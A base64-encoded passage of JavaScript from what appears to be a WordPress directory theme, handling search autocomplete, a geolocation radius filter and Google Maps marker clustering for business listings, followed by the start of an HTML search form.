ICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsZmFsc2UsdWkuaXRlbS52YWx1ZSk7Cgl9KTsKCWNhdGVnb3J5SW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVjbG9zZSIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJaWYoJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpID09ICcwJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0pOwp9CgokKCcjZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIC5pY29uJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLnRvZ2dsZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlJykuY2xpY2soZnVuY3Rpb24oKSB7CgkkKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCcpLmhpZGUoKTsKfSk7CgokKCcjZGlyLXNlYXJjaC1hZHZhbmNlZCAudmFsdWUtc2xpZGVyJykuc2xpZGVyKHsKCXZhbHVlOiBnZW9JbnB1dFJhZGl1cy52YWwoKSwKCW1pbjogMSwKCW1heDogMzAwLAoJc3RlcDogMSwKCWNoYW5nZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycgJiYgZ2VvSW5wdXQuaXMoJzpjaGVja2VkJykpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9LAoJc2xpZGU6IGZ1bmN0aW9uKGV2ZW50LCB1aSkgewoJCWdlb0lucHV0UmFkaXVzLnZhbCh1aS52YWx1ZSk7Cgl9Cn0pOwoKLy8gR2VvbG9jYXRpb24KCmdlb0lucHV0LkZhbmN5Q2hlY2tib3goKTsKCmZ1bmN0aW9uIGVuYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCB0cnVlKTsKCWdlb0lucHV0Lm5leHQoKS5yZW1vdmVDbGFzcygnb2ZmJykuYWRkQ2xhc3MoJ29uJyk7Cn0KCmZ1bmN0aW9uIGRpc2FibGVHZW8oKSB7CglnZW9JbnB1dC5hdHRyKCdjaGVja2VkJywgZmFsc2UpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKfQoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCgkJCX0sIGZ1bmN0aW9uKGVycm9yKXsKCQkJCWRpc2FibGVHZW8oKTsKCQkJCWhpZGVMb2FkaW5nKCk7CgkJCX0pOwoJCX0gZWxzZSB7CgkJCWRpc2FibGVHZW8oKTsKCQkJaGlkZUxvYWRpbmcoKTsKCQl9CgoJfQoKZ2VvSW5wdXQub24oImNoYW5nZSIsZnVuY3Rpb24oZXZlbnQpIHsKCglpZihnZW9JbnB1dC5pcygiOmNoZWNrZWQiKSkgewoKCQkvLyBlbmFibGUgYWZ0ZXIgdXNlciBhbGxvdyBnZW9sb2NhdGlvbgoJCWRpc2FibGVHZW8oKTsKCQlzaG93TG9hZGluZyh0cnVlKTsKCgkJaWYgKG5hdmlnYXRvci5nZW9sb2NhdGlvbikgewoJCQluYXZpZ2F0b3IuZ2VvbG9jYXRpb24uZ2V0Q3VycmVudFBvc2l0aW9uKGZ1bmN0aW9uKHBvc2l0aW9uKSB7CgoJCQkJZ2VvSW5wdXRMYXQudmFsKHBvc2l0aW9uLmNvb3Jkcy5sYXRpdHVkZSk7CgkJCQlnZW9JbnB1dExuZy52YWwocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CgoJCQkJZW5hYmxlR2VvKCk7CgoJCQkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCQkJfSBlbHNlIHsKCQkJCQloaWRlTG9hZGluZygpOwoJCQkJfQoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9IGVsc2UgewoKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCgl9Cgp9KTsKCmZ1bmN0aW9uIGFqYXhHZXRNYXJrZXJzKGFqYXgsZ2VvbG9jLHJld3JpdGVDYXRlZ29yeSxyZXdyaXRlTG9jYXRpb24scmVzZXQpIHsKCglzaG93TG9hZGluZygpOwoKCXJhZGl1cyA9IG5ldyBBcnJheSgpOwoKCXZhciBjYXRlZ29yeSA9IDA7Cgl2YXIgbG9jYXRpb24gPSAwOwoJdmFyIHNlYXJjaCA9ICcnOwoJdmFyIGxvY2FsZSA9ICdlbic7CgoJaWYoYWpheCl7CgkJaWYocmV3cml0ZUNhdGVnb3J5KXsKCQkJY2F0ZWdvcnkgPSByZXdyaXRlQ2F0ZWdvcnk7CgkJfSBlbHNlIHsKCQkJY2F0ZWdvcnkgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCk7CgkJfQoJCWlmKHJld3JpdGVMb2NhdGlvbil7CgkJCWxvY2F0aW9uID0gcmV3cml0ZUxvY2F0aW9uOwoJCX0gZWxzZSB7CgkJCWxvY2F0aW9uID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpOwoJCX0KCQlzZWFyY2ggPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoKTsKCgkJdmFyIGFqYXhHZW8gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoImNoZWNrZWQiKTsKCgkJaWYoYWpheEdlbyAmJiAhcmVzZXQpewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChpbnB1dFJhZGl1cykpOwoJCQl9IGVsc2UgewoJCQkJZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpKTsKCQkJfQoJCQlyYWRpdXMucHVzaChwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSk7CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMbmcudmFsKCkpKTsKCQl9Cgl9IGVsc2UgewoJCWlmKHJlc2V0KXsKCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQlzZWFyY2ggPSBtYXBEaXYuZGF0YSgnc2VhcmNoJyk7CgkJfSBlbHNlIHsKCQkJaWYoZ2VvbG9jKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxhdCgpKTsKCQkJCXJhZGl1cy5wdXNoKGdlb2xvYy5sbmcoKSk7CgoJCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCQlsb2NhdGlvbiA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdsb2NhdGlvbicpKTsKCQkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQkJfQoJCX0KCX0KCS8vIGdldCBpdGVtcyBmcm9tIGFqYXgKCSQucG9zdCgKCQkvLyBNeUFqYXggZGVmaW5lZCBpbiBmdW5jdGlvbnMucGhwCgkJTXlBamF4LmFqYXh1cmwsCgkgICAgewoJICAgICAgICBhY3Rpb24gOiAnZ2V0X2l0ZW1zJywKCSAgICAgICAgY2F0ZWdvcnkgOiBjYXRlZ29yeSwKCSAgICAgICAgbG9jYXRpb24gOiBsb2NhdGlvbiwKCSAgICAgICAgc2VhcmNoIDogc2VhcmNoLAoJICAgICAgICByYWRpdXMgOiByYWRpdXMsCgkgICAgICAgIHdwbWxfbGFuZyA6IGxvY2FsZQoJICAgIH0sCgkgICAgZnVuY3Rpb24oIHJlc3BvbnNlICkgewoJICAgIAkvLyBzaG93IHJlc2V0IGFqYXggYnV0dG9uCgkgICAgCWlmKCghcmVzZXQpICYmICghZ2VvbG9jKSAmJiAoJCgnI2RpcmVjdG9yeS1zZWFyY2gnKS5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKSl7CgkgICAgCQkkKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLnNob3coKTsKCSAgICAJfQoJICAgIAlpZihhamF4R2VvICYmICFyZXNldCl7CgkgICAgCQl2YXIgYWpheEdlb09iaiA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChnZW9JbnB1dExhdC52YWwoKSkscGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJICAgIAkJZ2VuZXJhdGVNYXJrZXJzKHJlc3BvbnNlLGFqYXhHZW9PYmosdHJ1ZSk7CgkgICAgCX0gZWxzZSB7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsZ2VvbG9jKTsKCSAgICAJfQoJICAgIH0KCSkKCS5mYWlsKGZ1bmN0aW9uKGUpIHsgY29uc29sZS5sb2coIkFKQVggRVJST1IiLCBlKTsgfSk7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlTWFya2VycyhkYXRhUmF3LGdlb2xvYyxhamF4R2VvKSB7CgoJLy8gY2xlYXIgbWFwCglpbmZvYm94LmNsb3NlKCk7CgltYXBEaXYuZ21hcDMoeyBjbGVhcjogeyB9IH0pOwoKCW1hcC5zZXRab29tKDEwKTsKCgl2YXIgbGVuID0gJC5tYXAoZGF0YVJhdywgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCXZhciBpID0gMDsKCS8vIHByZXBhcmUgZGF0YQoJdmFyIGRhdGEgPSBuZXcgQXJyYXkoKTsKCWZvcih2YXIga2V5IGluIGRhdGFSYXcpewoJCWlmICghKGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddID09ICIwIiAmJiBkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTG9uZ2l0dWRlJ10gPT0gIjAiKSkgewoJCQl2YXIgcmF0aW5nID0gJyc7CgkJCWlmKGRhdGFSYXdba2V5XS5yYXRpbmcpewoJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJyYXRpbmciPic7CgkJCQlmb3IgKHZhciBqID0gMTsgaiA8PSBkYXRhUmF3W2tleV0ucmF0aW5nWydtYXgnXTsgaisrKSB7CgkJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJzdGFyJzsKCQkJCQlpZihqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQkJfQoJCQkJCXJhdGluZyArPSAnIj48L2Rpdj4nOwoJCQkJfQoJCQkJcmF0aW5nICs9ICc8L2Rpdj4nOwoJCQl9CgoJCQl2YXIgdGh1bWJDb2RlID0gKGRhdGFSYXdba2V5XS50aW10aHVtYlVybCkgPyAnIHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSInK2RhdGFSYXdba2V5XS50aW10aHVtYlVybCsnIiBhbHQ9IiIgLz4nIDogJyI+JzsKCQkJZGF0YVtpXSA9IHsKCQkJCWxhdExuZzogW2RhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddLGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXV0sCgkJCQlvcHRpb25zOiB7CgkJCQkJaWNvbjogZGF0YVJhd1trZXldLm1hcmtlciwKCQkJCQlzaGFkb3c6ICJodHRwOi8vZGVtbzEwMC5nb2xkd2ViLmJpei93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJfSwKCQkJCWRhdGE6ICc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj48ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCcrdGh1bWJDb2RlKyc8ZGl2IGNsYXNzPSJtYXAtaXRlbS1pbmZvIj48ZGl2IGNsYXNzPSJ0aXRsZSI+JytkYXRhUmF3W2tleV0ucG9zdF90aXRsZSsnPC9kaXY+JytyYXRpbmcrJzxkaXYgY2xhc3M9ImFkZHJlc3MiPicrZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbImFkZHJlc3MiXSsnPC9kaXY+PGEgaHJlZj0iJytkYXRhUmF3W2tleV0ubGluaysnIiBjbGFzcz0ibW9yZS1idXR0b24iPlZJRVcgTU9SRTwvYT48L2Rpdj48ZGl2IGNsYXNzPSJhcnJvdyI+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+JwoJCQl9OwoJCQlpKys7CgkJfQogICAgfQoKICAgIC8vIHNob3cgZ2VvbG9jIG1hcmtlcgogICAgaWYoZ2VvbG9jKXsKICAgIAltYXBEaXYuZ21hcDMoewoJCQltYXJrZXI6IHsKICAgIAkJCWxhdExuZzogZ2VvbG9jLAogICAgCQkJb3B0aW9uczogewogICAgCQkJCWFuaW1hdGlvbjogZ29vZ2xlLm1hcHMuQW5pbWF0aW9uLkRST1AsCiAgICAJCQkJekluZGV4OiAxMDAwLAogICAgCQkJCWljb246ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCiAgICAJCQl9CiAgICAJCX0KICAgIAl9KTsKCX0KCgkvLyBnZW5lcmF0ZSBtYXJrZXJzIGluIG1hcAoJdmFyIG1hcE9iaiA9IHsKCQltYXJrZXI6IHsKCQkJdmFsdWVzOiBkYXRhLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CiAgICAgICAgICAJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJbWFwLnBhblRvKG1hcmtlci5nZXRQb3NpdGlvbigpKTsKCgkJCQkJaW5mb2JveC5zZXRDb250ZW50KGNvbnRleHQuZGF0YSk7CgkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoKCQkJCX0KCQkJfQoJCX0KCX07CgoJaWYoZ2VvbG9jKXsKCQlpZihhamF4R2VvKXsKCQkJdmFyIGlucHV0UmFkaXVzID0gZ2VvSW5wdXRSYWRpdXMudmFsKCk7CgkJCWlmKCFpc05hTihpbnB1dFJhZGl1cykpewoJCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLnZhbCgpKSAqIDEwMDA7CgkJCX0gZWxzZSB7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKSAqIDEwMDA7CgkJCX0KCQkJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCQkJbWFwT2JqLmNpcmNsZSA9IHsKCQkJCW9wdGlvbnM6IHsKCQkJCQljZW50ZXI6IGdlb2xvYywKCQkJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCQkJdmlzaWJsZSA6IHRydWUsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KCkgKiAxMDAwOwoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogZmFsc2UsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfQoJfQoKCWhpZGVMb2FkaW5nKCk7CgoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwoKCWlmKGxlbiA9PSAxICYmICFnZW9sb2MpewoJCW1hcC5zZXRab29tKDEwKTsKCX0KCn0KCmZ1bmN0aW9uIGdlbmVyYXRlT25seUdlbyhsYXQsbG5nLHJhZGl1cykgewoJdmFyIGdlb2xvYyA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChsYXQpLHBhcnNlRmxvYXQobG5nKSk7CgkvLyBnZW5lcmF0ZSBnZW8gcGluCgltYXBEaXYuZ21hcDMoewoJCW1hcmtlcjogewoJCQlsYXRMbmc6IGdlb2xvYywKCQkJb3B0aW9uczogewoJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKCQkJCXpJbmRleDogMTAwMCwKCQkJCWljb246ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCgkJCX0KCQl9Cgl9KTsKCS8vIGdlbmVyYXRlIGFuZCBhdXRvZml0IGJ5IGNpcmNsZQoJdmFyIG1hcE9iaiA9IHt9OwoJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KHJhZGl1cykgKiAxMDAwOwoJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCW1hcE9iai5jaXJjbGUgPSB7CgkJb3B0aW9uczogewoJCQljZW50ZXI6IGdlb2xvYywKCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQlmaWxsQ29sb3IgOiAiIzJjODJiZSIsCgkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJfQoJfQoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwp9Cgp2YXIgY29udGVudERpdiA9ICQoJyNtYWluICNjb250ZW50Jyk7CnZhciBjdXJyQ29udGVudCA9IGNvbnRlbnREaXYuaHRtbCgpOwp2YXIgYWpheENvbnRlbnQ7CgpmdW5jdGlvbiBnZW5lcmF0ZUNvbnRlbnQoZGF0YSkgewoKCXZhciBsZW5ndGggPSAkLm1hcChkYXRhLCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJY29udGVudERpdi5maW5kKCcuYWpheC1jb250ZW50JykucmVtb3ZlKCk7Cgl2YXIgdGl0bGU7CglpZihsZW5ndGggPT0gMCl7CgkJdGl0bGUgPSAkKCc8aGVhZGVyIGNsYXNzPSJlbnRyeS1oZWFkZXIiPjwvaGVhZGVyPicpOwoJfSBlbHNlIHsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9CgoJdmFyIGh0bWw7CglpZihsZW5ndGggPiAwKXsKCQlodG1sID0gJCgnPHVsIGNsYXNzPSJpdGVtcyI+PC91bD4nKTsKCX0KCXZhciBsaW1pdCA9IDMwOwoJaWYobGltaXQgPiBsZW5ndGgpIHsKCQlsaW1pdCA9IGxlbmd0aDsKCX0KCXZhciBpID0gMDsKCWZvcih2YXIga2V5IGluIGRhdGEpewoJCXZhciB0aHVtYm5haWxIdG1sOwoJCWlmKGRhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQpewoJCQl2YXIgdGh1bWJuYWlsSHRtbCA9ICc8ZGl2IGNsYXNzPSJ0aHVtYm5haWwiPjxpbWcgc3JjPSInK2RhdGFba2V5XS50aW10aHVtYlVybENvbnRlbnQrJyIgYWx0PSJJdGVtIHRodW1ibmFpbCIgLz48ZGl2IGNsYXNzPSJjb21tZW50LWNvdW50Ij4nK2RhdGFba2V5XS5jb21tZW50X2NvdW50Kyc8L2Rpdj48L2Rpdj4nOwoJCX0gZWxzZSB7CgkJCXRodW1ibmFpbEh0bWwgPSAnJzsKCQl9CgkJdmFyIHJhdGluZyA9ICcnOwoJCWlmKGRhdGFba2V5XS5yYXRpbmcpewoJCQlyYXRpbmcgKz0gJzxzcGFuIGNsYXNzPSJyYXRpbmciPic7CgkJCWZvciAodmFyIGkgPSAxOyBpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ21heCddOyBpKyspIHsKCQkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InN0YXInOwoJCQkJaWYoaSA8PSBkYXRhW2tleV0ucmF0aW5nWyd2YWwnXSkgewoJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJyI+PC9zcGFuPic7CgkJCX0KCQkJcmF0aW5nICs9ICc8L3NwYW4+JzsKCQl9CgkJdmFyIGRlc2NyaXB0aW9uSHRtbCA9ICc8ZGl2IGNsYXNzPSJkZXNjcmlwdGlvbiI+JytkYXRhW2tleV0uZXhjZXJwdERpcisnPC9kaXY+JzsKCQlodG1sLmFwcGVuZCgnPGxpIGNsYXNzPSJpdGVtIGNsZWFyIj4nK3RodW1ibmFpbEh0bWwrZGVzY3JpcHRpb25IdG1sKyc8L2xpPicpOwoJCWlmKGkgPD0gbGltaXQpewoJCQlpKys7CgkJfSBlbHNlIHsKCQkJYnJlYWs7CgkJfQoJfTsKCWFqYXhDb250ZW50ID0gJCgnPGRpdiBjbGFzcz0iYWpheC1jb250ZW50Ij48L2Rpdj4nKS5odG1sKHRpdGxlKS5hcHBlbmQoaHRtbCk7Cgljb250ZW50RGl2LmZpbmQoJz4nKS5oaWRlKCk7Cgljb250ZW50RGl2LmFwcGVuZChhamF4Q29udGVudCk7Cn0KCi8vIHJlc2V0IHNlYXJjaCBhamF4IHZhbHVlcwokKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLmNsaWNrKGZ1bmN0aW9uICgpIHsKCgkvLyBnZXQgZGVmYXVsdCB2YWx1ZXMKCWFqYXhHZXRNYXJrZXJzKGZhbHNlLGZhbHNlLGZhbHNlLGZhbHNlLHRydWUpOwoKCgkkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoIiIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtdGV4dCBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uJykudmFsKCIiKTsKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQnKS52YWwoIjAiKTsKCS8vIGZvciBJRQoJJCgnc3Bhbi5mb3ItZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnknKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtbG9jYXRpb24gbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKS5hdHRyKCdjaGVja2VkJyxmYWxzZSk7CgkkKCdkaXYuaXBob25lLXN0eWxlW3JlbD1kaXItc2VhcmNoaW5wdXQtZ2VvXScpLnJlbW92ZUNsYXNzKCdvbicpLmFkZENsYXNzKCdvZmYnKTsKCgkvL2dlb0lucHV0UmFkaXVzLnZhbChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpOwoKCS8vIGhpZGUgY2xvc2UgaWNvbgoJJCh0aGlzKS5oaWRlKCk7Cn0pOwp9KTsKPC9zY3JpcHQ+CgkJCTxkaXYgaWQ9ImRpcmVjdG9yeS1zZWFyY2giIGRhdGEtaW50ZXJhY3RpdmU9Im5vIj4KCQkJCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCQkJCTxmb3JtIGFjdGlvbj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8iIGlkPSJkaXItc2VhcmNoLWZvcm0iIG1ldGhvZD0iZ2V0IiBjbGFzcz0iZGlyLXNlYXJja